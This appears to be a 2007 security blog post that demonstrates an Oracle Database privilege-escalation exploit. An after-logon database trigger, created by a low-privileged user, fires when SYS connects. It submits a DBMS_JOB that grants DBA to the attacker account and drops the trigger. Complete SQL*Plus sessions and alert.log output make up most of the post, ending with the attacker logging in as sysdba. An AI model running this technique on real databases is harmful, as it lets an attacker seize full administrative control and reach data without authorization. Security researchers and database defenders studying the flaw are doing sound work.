Exploiting SYSDBA Invoker Rights Using Trigger on Database
This is a follow up on my previous post about SYSDBA keeping invoker rights when calling PL/SQL procedure. There was no direct privilege escalation but I mentioned that you need to craft your code so that it gets called by a SYSDBA user. This is what we are going to do now and here is the fun part starts.
Working on the previous test case a bit more I figured that the same anomaly is observed with triggers. So here is one way to get your PL/SQL code called by a SYSDBA. In this case you need to be able to create trigger on database, i. e. need privileges ADMINISTER DATABASE TRIGGER
and CREATE TRIGGER
.
Here is the test case:
SQL> connect / as sysdba Connected. SQL> create user u1 identified by u1; User created. SQL> grant create session to u1; Grant succeeded. SQL> grant create trigger to u1; Grant succeeded. SQL> grant administer database trigger to u1; Grant succeeded. SQL> grant execute on dbms_system to u1; Grant succeeded. SQL> create or replace view my$ENABLEDPRIVS as select * from V$ENABLEDPRIVS; View created. SQL> grant select on my$ENABLEDPRIVS to u1; Grant succeeded. SQL> SQL> connect u1/u1 Connected. SQL> SQL> create or replace trigger hack after logon on database 2 declare 3 priv_count number; 4 begin 5 select count(*) into priv_count from sys.my$ENABLEDPRIVS; 6 sys.dbms_system.ksdwrt(2,'User - '||user||'; enabled privileges count - '||priv_count); 7 end; 8 / Trigger created. SQL> connect u1/u1 Connected. SQL> connect system Enter password: Connected. SQL> connect / as sysdba Connected.
Here is our alert.log:
User - U1; enabled privileges count - 3 Tue Jan 16 23:41:00 2007 User - SYSTEM; enabled privileges count - 3 Tue Jan 16 23:41:08 2007 User - SYS; enabled privileges count - 275
Now I wanted to create simple trigger:
SQL> create or replace trigger hack after logon on database 2 declare 3 priv_count number; 4 begin 5 select count(*) into priv_count from sys.my$ENABLEDPRIVS; 6 sys.dbms_system.ksdwrt(2,'User - '||user||'; enabled privileges count - '||priv_count); 7 if user='SYS' then 8 sys.dbms_system.ksdwrt(2,'Let''s give SYSDBA to U1 user...'); 9 execute immediate 'GRANT SYSDBA TO U1'; 10 end if; 11 end; 12 /
This does work – can’t do grant in triggers as well as many other DDLs. This is good limitation from security point of view:
Tue Jan 16 23:52:02 2007 Errors in file /opt/oracle/admin/emrep/udump/emrep_ora_3966.trc: ORA-00604: error occurred at recursive SQL level 1 ORA-30511: invalid DDL operation in system triggers ORA-06512: at line 8
Nevertheless, this is already something – working with trigger I can at least do any DMLs so data access is compromised.
Let’s get smarter. For this case we will need CREATE PROCEDURE
privilege and access to DBMS_JOB
package. This will make test case easier to understand and follow. In the real world no procedure is needed and it can be implemented with simple execute immediate call but it would be a bit messy and difficult to follow here.
SQL> create or replace procedure give_sysdba as 2 begin 3 sys.dbms_system.ksdwrt(2,'Let''s give SYSDBA to U1 user...'); 4 execute immediate 'GRANT DBA TO U1'; 5 sys.dbms_system.ksdwrt(2,'Drop trigger to remove cyclic calls...'); 6 execute immediate 'DROP TRIGGER U1.HACK'; 7 exception 8 when others then 9 null; 10 end; 11 / Procedure created. SQL> create or replace trigger hack after logon on database 2 declare 3 priv_count number; 4 job_no number; 5 begin 6 select count(*) into priv_count from sys.my$ENABLEDPRIVS; 7 sys.dbms_system.ksdwrt(2,'User - '||user||'; enabled privileges count - '||priv_count); 8 if user='SYS' then 9 sys.dbms_system.ksdwrt(2,'Submitting job to become SYSDBA...'); 10 dbms_job.submit(job_no,'give_sysdba;'); 11 sys.dbms_system.ksdwrt(2,'Job '||job_no||' submited'); 12 end if; 13 end; 14 / Trigger created. SQL> connect / as sysdba Connected.
Let’s check alert.log:
Wed Jan 17 00:14:28 2007 User - SYS; enabled privileges count - 275 Submitting job to become SYSDBA... Job 85 submited Wed Jan 17 00:14:29 2007 User - SYS; enabled privileges count - 275 Submitting job to become SYSDBA... Job 86 submited Let's give SYSDBA to U1 user... Wed Jan 17 00:14:29 2007 Drop trigger to remove cyclic calls... Wed Jan 17 00:14:34 2007 Let's give SYSDBA to U1 user... Drop trigger to remove cyclic calls...
The job ran twice due to trigger fire on the first job schedule so the grant is done twice.
Not we’ve got sysdba privilege with u1 user:
SQL> connect u1/u1 as sysdba Connected.
This technique requires ADMINISTER DATABASE TRIGGER
and should work on any current Oracle release.
Share this
You May Also Like
These Related Stories
No Comments Yet
Let us know what you think